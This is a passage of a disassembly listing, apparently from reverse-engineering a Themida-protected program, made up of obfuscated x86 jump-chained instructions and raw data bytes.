dd 0BF575366h, 316B2EADh, 0E95FF831h, 0FFFFF7DCh, 0FFD25DE9h
dd 5FFA31FFh, 0CE9D001h, 2C00002Dh, 835A6609h, 0C8904ECh
dd 35D4E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F8ACE: ; CODE XREF: Themida_:00501F96j
mov esi, [esp]
jmp loc_4FA708
; ---------------------------------------------------------------------------
loc_4F8AD6: ; CODE XREF: Themida_:004F891Cj
pop edx
push ebp
pop edx
jmp loc_4FD2B4
; ---------------------------------------------------------------------------
loc_4F8ADE: ; CODE XREF: Themida_:004FC8CDj
movsx ecx, al
push eax
mov eax, esp
sub esp, 4
mov [esp], edi
mov edi, 5BD0346Eh
push edx
mov edx, 6ACB4163h
push ecx
mov ecx, 2D3813F5h
sub ecx, 1187B1A7h
add edx, ecx
pop ecx
jmp loc_4F6161
; ---------------------------------------------------------------------------
dd 32EB814Bh, 31E4313Dh, 0EFBBE9D8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F8B1A: ; CODE XREF: Themida_:004F6C70j
and eax, edi
mov edi, [esp]
push edx
push esp
pop edx
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
jmp loc_4FD111
; ---------------------------------------------------------------------------
dw 3AB8h
dd 933FE67Ch, 35E99343h, 29FFFFF4h, 241C8BD8h, 104C483h
dd 374305D0h, 0C734D4h, 2B492454h, 4941E9h, 12F10500h
dd 0BF573593h, 771553FFh, 42AEBB53h, 0BE565D30h, 373264D2h
dd 0E6C1D6F7h, 2DEE8107h, 31525091h, 0EBC15EF3h, 0FFEB8107h
dd 0E9FFFFFFh, 8BD4h, 53242489h, 4BBh, 245C0100h, 241C8B04h
dd 31C6E9h, 4C68100h, 83000000h, 348704C6h, 0C4815C24h
dd 4, 31240C33h, 0C33240Ch, 0C3305C24h, 0FFC0B60Fh, 34FF8734h
dd 0D467E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F8BD2: ; CODE XREF: Themida_:004FC467j
mov ebp, [esp]
add esp, 4
mov esi, 79020665h
sub esi, ebp
mov ebp, [esp]
add esp, 4
and eax, esi
mov esi, [esp]
push esi
push esp
jmp loc_4FA5F3
; ---------------------------------------------------------------------------
db 5Fh, 8Fh, 4
dd 24248B24h, 1FC4E9h
db 0
; ---------------------------------------------------------------------------
loc_4F8BFD: ; CODE XREF: Themida_:004FE4D0j
add edi, 51FC2780h
sub esp, 4
jmp loc_5001D8
; ---------------------------------------------------------------------------
aBiuK4s9 db 'ëî"K4é9\',0
align 2
dw 8966h
dd 0F3E92404h, 8AFFFFD0h, 8956241Ch, 4BB53E6h, 0E9000000h
dd 0C78h, 4C481h, 0E1C10000h, 5FC98103h, 4128DB09h, 0FFF7ECE9h
dd 55D901FFh, 0C26370BDh, 5DE92934h
db 8Bh, 1Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xchg ecx, [esp]
pop esp
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], ebx
push esp
jmp loc_4FEA5B
; ---------------------------------------------------------------------------
db 5Ch, 0E9h, 8Fh
dd 80FFFFD0h, 2BE919EDh, 5800003Eh, 0E904C483h, 20B9h
dd 8106EDC1h, 460397F5h, 29C5814Ah, 0D123B35Fh, 0C8ED81E5h
dd 50DF543Bh, 46EEB8h, 0F3090560h, 0D4E9A006h
db 8Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F8CBB: ; CODE XREF: Themida_:004F5D3Cj
push cx
mov ch, 0FFh
jmp loc_4FED62
; ---------------------------------------------------------------------------
loc_4F8CC4: ; CODE XREF: Themida_:004F6E6Aj
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_4F9452
; ---------------------------------------------------------------------------
aZIfysbg db 'Z(ëfYébƒ',0
align 2
dw 0F381h
dd 5E3D04BAh, 1EE9D989h
db 25h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F8CEF: ; CODE XREF: Themida_:004F82FBj
push ebp
mov ebp, 688C0CE4h
push ebp
neg dword ptr [esp]
pop ebp
xor ebp, 0C2A4ED0Ch
add ebx, ebp
pop ebp
or ebx, 11F80806h
xor ebx, 3F9C5695h
jmp loc_4FB1BC
; ---------------------------------------------------------------------------
loc_4F8D14: ; CODE XREF: Themida_:004F61C7j
xor eax, 4A0E2648h
sub ebx, 51D979E1h
jmp loc_4FEDDC
; ---------------------------------------------------------------------------
dd 6A3723BDh, 7E5C102h, 8101C583h, 8C71CAC5h, 36C5810Ch
dd 0E9502F0Bh, 0FFFFF37Fh, 8103E7C1h, 9E5DD9CFh, 0ECBA5214h
dd 81555D36h, 0FF1BBFE2h, 0DAE28167h, 4A7C194Ch, 45AEE9h
dd 48B6600h, 4EC8124h, 89000000h, 5E542434h, 42E95650h
dd 66000026h
db 8Bh, 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
push edi
push edx
mov edx, 26501B48h
shl edx, 3
shr edx, 7
dec edx
jmp loc_4FBA8A
; ---------------------------------------------------------------------------
dw 0D366h
dd 0E99C240Ch, 6673h, 4C481h, 34870000h, 24248B24h, 3D12C781h
dd 0CF012D4Dh, 8904EC83h, 0EAE9242Ch, 6600004Ah, 0E924048Bh
dd 0FFFFE9DBh, 0FF2434FFh, 51E92434h
db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F8DCF: ; CODE XREF: Themida_:004FF450j
push ebp
mov ebp, 576C3DE6h
xor ebp, 4E20DFDh
xor ebp, 6CE364B8h
xor ebp, 0C741636h
jmp loc_4F6E55
; ---------------------------------------------------------------------------
dd 5C24048Fh, 91FEE9h, 4832BB00h, 0E94B25F3h, 81C0h
; ---------------------------------------------------------------------------
loc_4F8E00: ; CODE XREF: Themida_:004FD67Dj
pop ebx
add ebx, 4
jmp loc_500F73
; ---------------------------------------------------------------------------
aZ4S db '‡4$é/\',0
align 4
loc_4F8E14: ; CODE XREF: Themida_:004FC9CBj
push 4B52h
mov [esp], edx
mov edx, 71B63FE0h
shr edx, 2
jmp loc_50149C
; ---------------------------------------------------------------------------
db 81h, 0E9h, 6Ah
dd 29DD5901h, 835959CDh, 2C3302C5h, 242C3124h, 5C242C33h
dd 0FFD363E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4F8E45: ; CODE XREF: Themida_:004F7A19j
push ebp
mov ebp, 4BE304AAh
jmp loc_4F912E
; ---------------------------------------------------------------------------
dd 8324048Fh, 5B042404h, 8F9CE9h, 84CE8100h, 0C115152Eh
dd 0BF5704EEh, 326324B7h, 7783E9h, 3748BD00h, 0E9312B8Eh
dd 1064E9h
db 0
; ---------------------------------------------------------------------------
loc_4F8E7D: ; CODE XREF: Themida_:004FC064j
pop esi
pop dword ptr [esp]
pop esp
sub [edi+24h], edx
pop edx
loc_4F8E86: ; CODE XREF: Themida_:004FA5E2j
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], ebx
pop edx
push 0E8Eh
mov [esp], edx
jmp loc_4F7A2C
; ---------------------------------------------------------------------------
dd 0C8B665Ch, 1926E924h, 348B0000h, 4C48124h, 0E9000000h
dd 7D3Ch, 9AEA8158h, 12BFD06h, 9AC281CAh, 592BFD06h, 0FFF0E9E9h
dd 81DA01FFh, 0F905C4EAh, 8D90E916h, 0EB810000h, 57CF409Dh
dd 5280E9h
db 0
; ---------------------------------------------------------------------------
loc_4F8EE5: ; CODE XREF: Themida_:004FF6C2j
push ecx
push 89C3FB7h
pop ecx
push edx
jmp loc_4FC3FD
; ---------------------------------------------------------------------------
dw 1C87h
dd 4215C24h, 25E99C24h, 5BFFFFE9h, 0CAE9C8FEh
db 61h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F8F07: ; CODE XREF: Themida_:004FC5FAj
push 240Fh
jmp loc_4F9B8E
; ---------------------------------------------------------------------------
db 1, 0DEh, 5Bh
dd 8B243487h, 0C4832424h, 24042904h, 0CDECE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F8F26: ; CODE XREF: Themida_:004F75DFj
pop eax
jmp loc_4F8258
; ---------------------------------------------------------------------------
dd 9D1C77FFh, 24041158h, 0CDD8E99Ch, 3C87FFFFh, 86685C24h
dd 89000060h, 0FBA2414h, 2D0ADD17h, 77F31687h, 0BB53D029h
dd 70385C09h, 6F05E9h, 0D4F28100h, 4A38CB64h, 6B75E9h
dd 241C3300h, 0C89665Ch, 0CD9CE924h, 0E95EFFFFh, 70B1h
dd 0C2815859h, 2, 0E9241487h, 2C7Bh, 59CD0158h, 7C8EE9h
dd 0E9CE8900h, 6579h
; ---------------------------------------------------------------------------
loc_4F8F9C: ; CODE XREF: Themida_:004FEB72j
or ecx, 26E960C1h
sub ecx, 33321878h
xor edx, ecx
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
push esi
mov esi, 2669481Ch
not esi
shr esi, 7
add esi, 0FE4CD295h
add eax, esi
mov esi, [esp]
add esp, 4
xchg eax, [esp]
jmp loc_4FD7CE
; ---------------------------------------------------------------------------
loc_4F8FD6: ; CODE XREF: Themida_:004FB9B3j
push esp
mov ecx, [esp]
add esp, 4
add ecx, 4
jmp loc_4FED96
; ---------------------------------------------------------------------------
loc_4F8FEB: ; CODE XREF: Themida_:004F897Dj
xor ecx, 15852CACh
sub ebx, ecx
jmp loc_4FA8F8
; ---------------------------------------------------------------------------
dd 0F988D788h, 2434FF5Bh, 0E189515Ah, 4C181h, 0C1830000h
dd 0E8B7E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F9012: ; CODE XREF: Themida_:004F5F98j
sub ebp, 4
push ebp
jmp loc_501E84
; ---------------------------------------------------------------------------
db 81h
dd 5E529EC2h, 0D431E962h, 6664FFFFh, 5702B60Fh, 51E28952h
dd 0A64FB0B9h, 55E1D161h, 377028BDh, 5DE90118h, 38A4E9h
db 0
; ---------------------------------------------------------------------------
loc_4F9045: ; CODE XREF: Themida_:004FE49Ej
push ecx
mov ecx, 65457175h
sub ecx, 65310B66h
or ebp, ecx
jmp loc_500BE8
; ---------------------------------------------------------------------------
aFqSfn db 'fQµ',0Dh,'é”N',0
db 0
; ---------------------------------------------------------------------------
loc_4F9061: ; CODE XREF: Themida_:004FF9E2j
xor ebx, [esp]
jmp loc_50257E
; ---------------------------------------------------------------------------
db 8Bh, 14h, 24h
aWsiy db 'Wé©Y',0
align 2
aZSar db '‡<$éaR',0
align 2
dw 8B66h
dd 56502404h, 0FFCD60E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4F9085: ; CODE XREF: Themida_:00500C07j
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_4FDCC5
; ---------------------------------------------------------------------------
loc_4F9091: ; CODE XREF: Themida_:004FA583j
push dword ptr [esp]
pop esi
add esp, 4
or edx, eax
shl edx, 1
push edi
mov edi, esp
add edi, 4
push esi
jmp loc_4FF322
; ---------------------------------------------------------------------------
aISel db '‰<$éel',0
align 2
loc_4F90B6: ; CODE XREF: Themida_:004FE04Ej
pop ebp
push edi
mov edi, 1C133BDDh
xor edi, 8312BDBh
sub esi, 77302C3Ch
sub esi, edi
add esi, 77302C3Ch
pop edi
jmp loc_4F751D
; ---------------------------------------------------------------------------
loc_4F90D7: ; CODE XREF: Themida_:004FE815j
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
or eax, eax
jz loc_4FD95C
push dword ptr [edi+1Ch]
push dword ptr [esp]
pop ecx
push 2021h
mov [esp], ecx
push esp
mov ecx, [esp]
jmp loc_500BC9
; ---------------------------------------------------------------------------
dw 8159h
dd 4C1h, 4C18100h, 87000000h, 315C240Ch, 148B66C3h, 0CFD9E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F912E: ; CODE XREF: Themida_:004F8E4Bj
or ebp, 1A105586h
add ebp, offset word_4A3AF6
sub ebp, 4BF88036h
add ecx, ebp
pop ebp
sub ecx, 6B650971h
sub ecx, edi
add ecx, 6B650971h
push esi
mov esi, 75283968h
jmp loc_4F9A92
; ---------------------------------------------------------------------------
dd 0E92C77FFh, 87E8h
; ---------------------------------------------------------------------------
loc_4F9164: ; CODE XREF: Themida_:004F649Bj
add eax, 77FA7F13h
push 2Dh
mov [esp], eax
pop esi
mov eax, [esp]
add esp, 4
sub eax, esi
pop esi
push 7C65h
mov [esp], ebp
push edx
mov edx, 10h
mov ebp, edx
pop edx
jmp loc_500CE7
; ---------------------------------------------------------------------------
dd 0F681DEF7h, 32B40C9Ah, 3B1A6855h, 8EE95CE8h, 81000045h
dd 4C2h, 0E880E900h, 34FFFFFFh, 0E9575D24h, 2E37h, 6604C483h
dd 0E900B60Fh, 0FFFFF77Fh, 74FF515Ah, 92E90424h, 1000042h
dd 2434FFEAh, 4C4835Dh, 0FFCBB8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4F91E1: ; CODE XREF: Themida_:004FF270j
sub dword ptr [esp+4], 449A7DA3h
add [esp+4], ebx
jmp loc_4FF233
; ---------------------------------------------------------------------------
aQtysta db 'QTYéT€',0
align 2
loc_4F91FA: ; CODE XREF: Themida_:004FD2BEj
mov eax, ebx
mov edi, eax
pop eax
push edi
jmp loc_4F979F
; ---------------------------------------------------------------------------
db 0E9h, 8, 0CBh
dd 1487FFFFh, 0E9535C24h, 242Ch, 2B60F66h, 3F1A6866h, 24048966h
dd 213CE9h
db 0
; ---------------------------------------------------------------------------
loc_4F9225: ; CODE XREF: Themida_:004F89FEj
add ecx, 692FE4EBh
jmp loc_4F949A
; ---------------------------------------------------------------------------
dd 83C32858h, 148904ECh, 0A7DE924h, 0C3800000h, 296866F0h
dd 14896678h, 0CED2E924h, 248BFFFFh, 0CABCE924h, 487FFFFh
dd 0BF575C24h, 558F27E2h, 8895E9h, 0C7E94000h, 0C100002Ah
dd 0B95106E2h, 1921271Ah, 0F759CA21h, 0DCEA81DAh, 2DC16B70h
dd 84A35F4h, 7D8DE9h
db 0
; ---------------------------------------------------------------------------
loc_4F9289: ; CODE XREF: Themida_:004F7D44j
xchg esi, [esp]
pop esp
xor eax, edx
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
push ebx
mov ebx, 85F0884h
jmp loc_4F85BC
; ---------------------------------------------------------------------------
dd 59E768h, 0F8DAE900h, 8E68FFFFh, 89000075h, 0E589242Ch
dd 4C581h, 56520000h, 0A91DB568h, 14CEE953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F92D2: ; CODE XREF: Themida_:004FCF83j
jmp loc_4F5D12
; ---------------------------------------------------------------------------
loc_4F92D7: ; CODE XREF: Themida_:004FB9A2j
pop edi
pop dword ptr [esp]
pop esp
push dword ptr [edi+eax*4]
push dword ptr [esp]
pop eax
push ebp
push esp
pop ebp
push edi
mov edi, 7AFA5A9Eh
jmp loc_50271F
; ---------------------------------------------------------------------------
db 89h, 4, 24h
dd 582414F7h, 0ABE95057h, 80000065h, 8359B4C3h, 0C8904ECh
dd 0EC13E924h, 5E5BFFFFh, 129DE9h, 0C8BF0F00h, 5D3A68h
dd 240C8900h, 0FFC9EDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4F9325: ; CODE XREF: Themida_:005014B1j
add ecx, 3C89594Fh
jmp loc_4FCA24
; ---------------------------------------------------------------------------
dd 240C335Eh, 33240C31h, 248B240Ch, 48B6624h, 5B545324h
dd 4C381h, 0EB830000h, 241C8704h, 0FFDBBBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4F9355: ; CODE XREF: Themida_:004FE6CAj
add eax, edi
add eax, 0E0A60AAh
jmp loc_50221D
; ---------------------------------------------------------------------------
loc_4F9361: ; CODE XREF: Themida_:004FD1ADj
mov bl, cl
mov cl, dl
mov dl, bl
pop bx
push bx
push edx
mov dh, 75h
mov bl, 25h
add bl, dh
pop edx
or dl, bl
pop bx
add dl, 1Bh
jmp loc_4FBF19
; ---------------------------------------------------------------------------
db 1
aIlSS db 'ë‹,$éÇs',0
db 0
; ---------------------------------------------------------------------------
loc_4F9389: ; CODE XREF: Themida_:005002FCj
dec ebp
xchg ebp, edx
jmp loc_4FB7D7
; ---------------------------------------------------------------------------
loc_4F9391: ; CODE XREF: Themida_:004FFE9Aj
xchg ecx, [esp]
pop esp
push 1993h
jmp loc_4FA24A
; ---------------------------------------------------------------------------
db 0B3h
dd 0FED3F601h, 67ADE9C3h, 0C8BB0000h, 8139F157h, 76AABEBh
dd 0C2B8503Bh, 2505992Fh, 5913355Dh, 0BD47BD55h, 0D72DCCEDh
dd 29765D2Fh, 7742E9E8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F93D2: ; CODE XREF: Themida_:004F8379j
pop ebp
and ecx, esi
pop esi
shr ecx, 0Ah
push 71BAh
mov [esp], ebx
jmp loc_4F66FC
; ---------------------------------------------------------------------------
loc_4F93E6: ; CODE XREF: Themida_:004FA3EFj
xchg ebx, [esp]
mov esp, [esp]
push 5019h
mov [esp], ebx
jmp loc_4FFB90
; ---------------------------------------------------------------------------
db 81h, 0C6h, 0ACh
dd 5857E529h, 2B951h, 0C6810000h, 67E37480h, 2EE9CE01h
dd 68FFFFEEh, 0FBEAAEADh, 0E9F5015Eh, 522Dh, 0B35312B2h
dd 0CAEB804Ah, 337FE9h
db 0
; ---------------------------------------------------------------------------
loc_4F942D: ; CODE XREF: Themida_:00502591j
sub edi, 0E929E338h
jmp loc_4FEE7E
; ---------------------------------------------------------------------------
dd 6804C483h, 4B11h, 0B8240489h, 1B68FFh, 8958C631h, 26D3E9F0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F9452: ; CODE XREF: Themida_:004F8CD3j
pop esp
xchg ebx, [esp]
mov esp, [esp]
loc_4F9459: ; CODE XREF: Themida_:004FC696j
; Themida_:004FCF99j
push dword ptr [edi+24h]
add dword ptr [esp], 0D466FE6h
jmp loc_4F772C
; ---------------------------------------------------------------------------
dd 0DF896657h, 0E9FE8966h, 8DD2h
; ---------------------------------------------------------------------------
loc_4F9474: ; CODE XREF: Themida_:004FAA23j
add esi, ebp
add esi, 2F087D88h
pop ebp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
sub [esp], al
pushf
jmp loc_4F5D12
; ---------------------------------------------------------------------------
dw 0C483h
dd 0DE07E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F949A: ; CODE XREF: Themida_:004F922Bj
add edx, ecx
jmp loc_4FEF21
; ---------------------------------------------------------------------------
aG9sas db 'º>^g9éAs',0
dw 0C100h
dd 685303E0h, 686Ch, 0BF243C89h, 2E326CB5h, 815FFB89h
dd 0B5889EBh, 0E9D80116h, 7785h, 575DEB01h, 27738DBFh
dd 0E9D7F718h, 4433h
; ---------------------------------------------------------------------------
loc_4F94DC: ; CODE XREF: Themida_:004F74F1j
xor edi, 65615902h
shl edi, 5
shr edi, 3
dec edi
sub edi, 25347EF9h
sub edi, 7A566530h
jmp loc_4FE0C6
; ---------------------------------------------------------------------------
loc_4F94FA: ; CODE XREF: Themida_:004FA149j
mov eax, [esp]
add esp, 4
push esi
mov esi, esp
add esi, 4
push edx
mov edx, 4
push edx
mov edx, 23D47837h
sub esi, edx
pop edx
sub esi, 75A062ACh
sub esi, edx
push edx
jmp loc_4F8706
; ---------------------------------------------------------------------------
dw 489h
dd 4EC8124h, 0E9000000h, 2484h, 0C37CC381h, 565263B1h
dd 0F289DE89h, 8124348Bh, 4C4h, 5AD58900h, 6C77E9h, 0F7EED100h
dd 0FFEE81DEh, 68FFFFFFh, 4863h, 0FFDEC2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_4F9565: ; CODE XREF: Themida_:004FBB02j
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
jmp loc_501A1F
; ---------------------------------------------------------------------------
loc_4F9579: ; CODE XREF: Themida_:00500BB6j
push ebp
push dword ptr [esp+4]
jmp loc_4FA4AD
; ---------------------------------------------------------------------------
db 0BBh
dd 4, 8E81E9h
db 0
; ---------------------------------------------------------------------------
loc_4F958D: ; CODE XREF: Themida_:004FB3A6j
mov eax, esp
add eax, 4
push ebp
mov ebp, 63B671Ah
shl ebp, 2
jmp loc_4FF082
; ---------------------------------------------------------------------------
dw 0C705h
dd 297E032Fh, 2FC72DF0h, 2A2D7E03h, 5E337D24h, 0F3233605h
dd 2DD82976h, 76F32336h, 5FE5BE56h, 1DE93847h, 1FFFFCBh
dd 4EC81D8h, 89000000h, 7F68240Ch, 5955DB51h, 0E903E9C1h
dd 4FB7h, 0FF2434FFh, 80E92434h
db 69h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F95EF: ; CODE XREF: Themida_:004FBCFFj
push 74A151B6h
jmp loc_4F6480
; ---------------------------------------------------------------------------
db 5Ah, 53h, 0E9h
dd 0FFFFF7F5h, 4C7815Fh, 81000000h, 4C7h, 243C8700h, 8BDD015Ch
dd 0C481241Ch, 4, 8107EDC1h, 1804A9EDh, 3137E966h, 0F6810000h
dd 2B605E7h, 80ABC681h, 660551DDh, 29031008h, 0F7E953F0h
dd 8F000019h, 248B2404h, 2424D224h, 0C6C0E99Ch, 0CA81FFFFh
dd 7E405ED7h, 6213C281h, 0C28100D1h, 0E5C09D6Bh, 0E95AD001h
dd 25E7h, 4B8h, 0E0C28100h, 81641076h, 530F2BC2h, 81C2016Ch
dd 530F2BEAh, 0F0B8506Ch, 2D3DB84Fh, 3AC776BDh, 1FDEE9h
dd 66DEF600h, 30F3B151h, 0EACAE9CEh, 0F6BFFFFFh, 0E947C52Dh
dd 412Dh, 240C8B66h, 481468h, 242C8900h, 0BB53E589h, 4
dd 515BDD01h, 9221CDB9h, 0BCC1816Fh, 0F7470937h, 4EC83D1h
dd 52240489h, 2035FCBAh, 0FFC2812Bh, 0E9FFFFFFh, 0FFFFDA03h
dd 0E95B1388h, 0FFFFC622h, 0C381FB01h, 75185666h, 4C3815Fh
dd 87000000h, 815C241Ch, 5C1D242Ch, 0B8501E01h, 330121F8h
dd 4244429h, 2B20E9h, 88C38800h, 241C8BDEh, 9D8E9h
db 0
; ---------------------------------------------------------------------------
loc_4F9725: ; CODE XREF: Themida_:004F9992j
mov esp, [esp]
mov [esp], eax
jmp loc_4F5D12
; ---------------------------------------------------------------------------
dd 8704C083h, 0A4E92404h
db 13h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F973B: ; CODE XREF: Themida_:00501743j
mov edx, 72EB6FE0h
xor edx, edi
pop edi
xor edx, 19400A9Fh
push edi
mov edi, 344F5B75h
shr edi, 8
not edi
shl edi, 3
xor edi, 789264AFh
add edi, 0FFFFFFFFh
xor edi, 0D844F2FBh
jmp loc_4FD87A
; ---------------------------------------------------------------------------
loc_4F976E: ; CODE XREF: Themida_:004FE983j
add esp, 4
and eax, ebx
pop ebx
or eax, eax
jz loc_4FD2B5
push dword ptr [edi+28h]
mov eax, [esp]
push 0EF0h
mov [esp], edi
push esp
mov edi, [esp]
add esp, 4
jmp loc_4FD23C
; ---------------------------------------------------------------------------
db 5Ah, 0E9h, 0AFh
db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F979F: ; CODE XREF: Themida_:004F9200j
push ecx
mov ecx, 4C8161E0h
add [esp+4], ecx
pop ecx
mov eax, [esp]
push ecx
mov ecx, esp
jmp loc_4F8654
; ---------------------------------------------------------------------------
aZsh db '‡éh',0Dh,'[',0
align 4
dd 0B8240489h, 4AECF907h, 48BC131h, 4C48324h, 34FFC801h
dd 0C4835924h, 47272D04h, 0D8290DBBh, 0BB472705h, 0F21DE90Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F97E6: ; CODE XREF: Themida_:0050096Cj
mov ecx, edx
mov ebp, ecx
jmp loc_4FCE05
; ---------------------------------------------------------------------------
db 56h
dd 0C681E689h, 4, 346568h, 24048900h, 50F2BD55h, 814D75D0h
dd 2FAF13C5h, 5DE8898Ah, 0DCE9C601h, 2900005Dh, 0EEC15FFEh
dd 0B5EE8106h, 0E9000DA8h, 1DCAh, 0C105EAC1h, 0F28108E2h
dd 89769CDh, 65F7EA81h, 0EA8143C1h, 0F088928h, 0E95AD301h
dd 3DCCh, 0C188D088h, 24148B58h, 0C004C483h, 0EC8304E1h
dd 4896602h, 0EEFEE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F9862: ; CODE XREF: Themida_:004FE39Ej
mov edx, [esp]
add esp, 4
push ebx
xor dword ptr [esp], 68EC44E7h
jmp loc_4FFA31
; ---------------------------------------------------------------------------
aNqEHpx db 'Q¹e;]^hpX',0
dd 0EE54E900h, 0C483FFFFh, 6BE18004h, 0F180D9F6h, 8852660Eh
dd 0F65266CAh, 5A662414h, 5A66D188h, 0E99DE980h, 5267h
dd 835BDE01h, 0FF5604C6h, 5E042474h, 111E9h
db 0
; ---------------------------------------------------------------------------
loc_4F98B9: ; CODE XREF: Themida_:004F6EF9j
sub edx, 0B4E97F6Bh
mov ecx, edx
pop edx
xor ecx, edx
pop edx
add ebp, ecx
push dword ptr [esp]
pop ecx
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
or eax, eax
jz loc_4FEB5A
push dword ptr [edi+1Ch]
push edi
jmp loc_502596
; ---------------------------------------------------------------------------
db 89h
dd 0F3015FFEh, 8806E95Eh, 43BB0000h, 8343A039h, 0C8904ECh
dd 5A91B924h, 0BF570C87h, 714D5CABh, 3C8BF921h, 4C48324h
dd 4105E9C1h, 0D5DE981h, 0EFE9DD64h, 2800002Eh, 0F82859CFh
dd 2C0F685Bh, 1C890000h, 0C068B724h, 14E903E7h, 66FFFFCFh
dd 0E9240C8Bh, 8054h, 1B0F42BFh, 0E9FA010Dh, 1610h
; ---------------------------------------------------------------------------
loc_4F9950: ; CODE XREF: Themida_:00500A92j
push dword ptr [esp]
pop ebp
add esp, 4
shr ecx, 6
sub esp, 4
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_4FFE97
; ---------------------------------------------------------------------------
loc_4F997A: ; CODE XREF: Themida_:004FCA7Ej
add esi, ecx
add esi, 14BE2F81h
pop ecx
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_4F9725
; ---------------------------------------------------------------------------
db 0C1h
dd 0C38107E3h, 0DB4EB884h, 1AE9D901h
db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F99A7: ; CODE XREF: Themida_:00501855j
mov edx, 4
add eax, edx
pop edx
xchg eax, [esp]
pop esp
sub esp, 4
mov [esp], esi
push ebp
mov ebp, 7CE13471h
mov esi, 7CE13475h
push edx
jmp loc_4F7C81
; ---------------------------------------------------------------------------
dw 48Fh
dd 24248B24h, 5066C3FEh, 63E917B4h
db 6Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F99DB: ; CODE XREF: Themida_:005007CCj
pop ebx
inc ebx
or ebx, 1EDE3531h
or ebx, 248E1493h
shl ebx, 1
not ebx
jmp loc_4FC7FC
; ---------------------------------------------------------------------------
dw 0F680h
dd 0CDF68089h, 4334E9h
db 0
; ---------------------------------------------------------------------------
loc_4F99FD: ; CODE XREF: Themida_:004F707Dj
mov edx, 0
sub edx, esi
mov esi, edx
pop edx
xor esi, 4C406D0Fh
xor esi, 0C2BBADABh
jmp loc_4FA7B3
; ---------------------------------------------------------------------------
dd 6824048Fh, 5260h, 0B8240489h, 4, 4244401h, 2434FF58h
dd 4C4835Dh, 4C581h, 0C5830000h, 242C8704h, 0FF24248Bh
dd 0E99C2404h, 0FFFFC2C6h
; ---------------------------------------------------------------------------
loc_4F9A4C: ; CODE XREF: Themida_:004FCB46j
xchg edi, [esp]
jmp loc_4FBF78
; ---------------------------------------------------------------------------
loc_4F9A54: ; CODE XREF: Themida_:004FFE70j
xor [esp+4], edi
mov edi, [esp]
add esp, 4
push dword ptr [esp]
pop eax
jmp loc_50115A
; ---------------------------------------------------------------------------
db 0BAh
dd 3F4428E2h, 565AD621h, 0E9241CF7h, 4ABFh, 0D0E9C629h
dd 0B9FFFFD1h, 65890D04h, 0F5E9CB29h, 66000071h, 0D5BAE959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4F9A92: ; CODE XREF: Themida_:004F9157j
add esi, 424F134Fh
sub esi, 0A7323C49h
sub ecx, esi
pop esi
pop edi
push 1
jmp loc_4FB9DE
; ---------------------------------------------------------------------------
dd 0E924048Fh, 81D1h, 0FFC0B60Fh, 53E98734h, 81FFFFC2h
dd 3C1867C3h, 0C2EB8159h, 8F491C0Bh, 0E12AE900h, 0E530FFFFh
dd 7E5C058h, 0E9F5ED80h, 2859h, 0E902E3C1h, 0FFFFDFC7h
dd 206868h, 24248900h, 4B95156h, 89000000h, 740159CEh
dd 19E90424h, 58FFFFEFh, 4EB81h, 0FCE90000h, 21000000h
dd 0B85059CAh, 28FB68EBh, 7ABFE9h, 4EC8100h, 89000000h
dd 68BE2434h, 8332D26Dh, 0EEC101C6h, 2677E908h, 0D3010000h
dd 0FFC971E9h, 0D3CB2DFFh, 0FE975B7h, 81000038h, 5D8C6FC1h
dd 1B852D35h, 0E4E9757Bh, 5DFFFFEAh, 835EF501h, 2C8702C5h
dd 31FAE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4F9B66: ; CODE XREF: Themida_:004FED9Bj
mov [esp], esi
mov esi, 2
add ecx, 661969FBh
add ecx, esi
jmp loc_4FA866
; ---------------------------------------------------------------------------
loc_4F9B7B: ; CODE XREF: Themida_:005001E3j
sub esi, 227582A4h
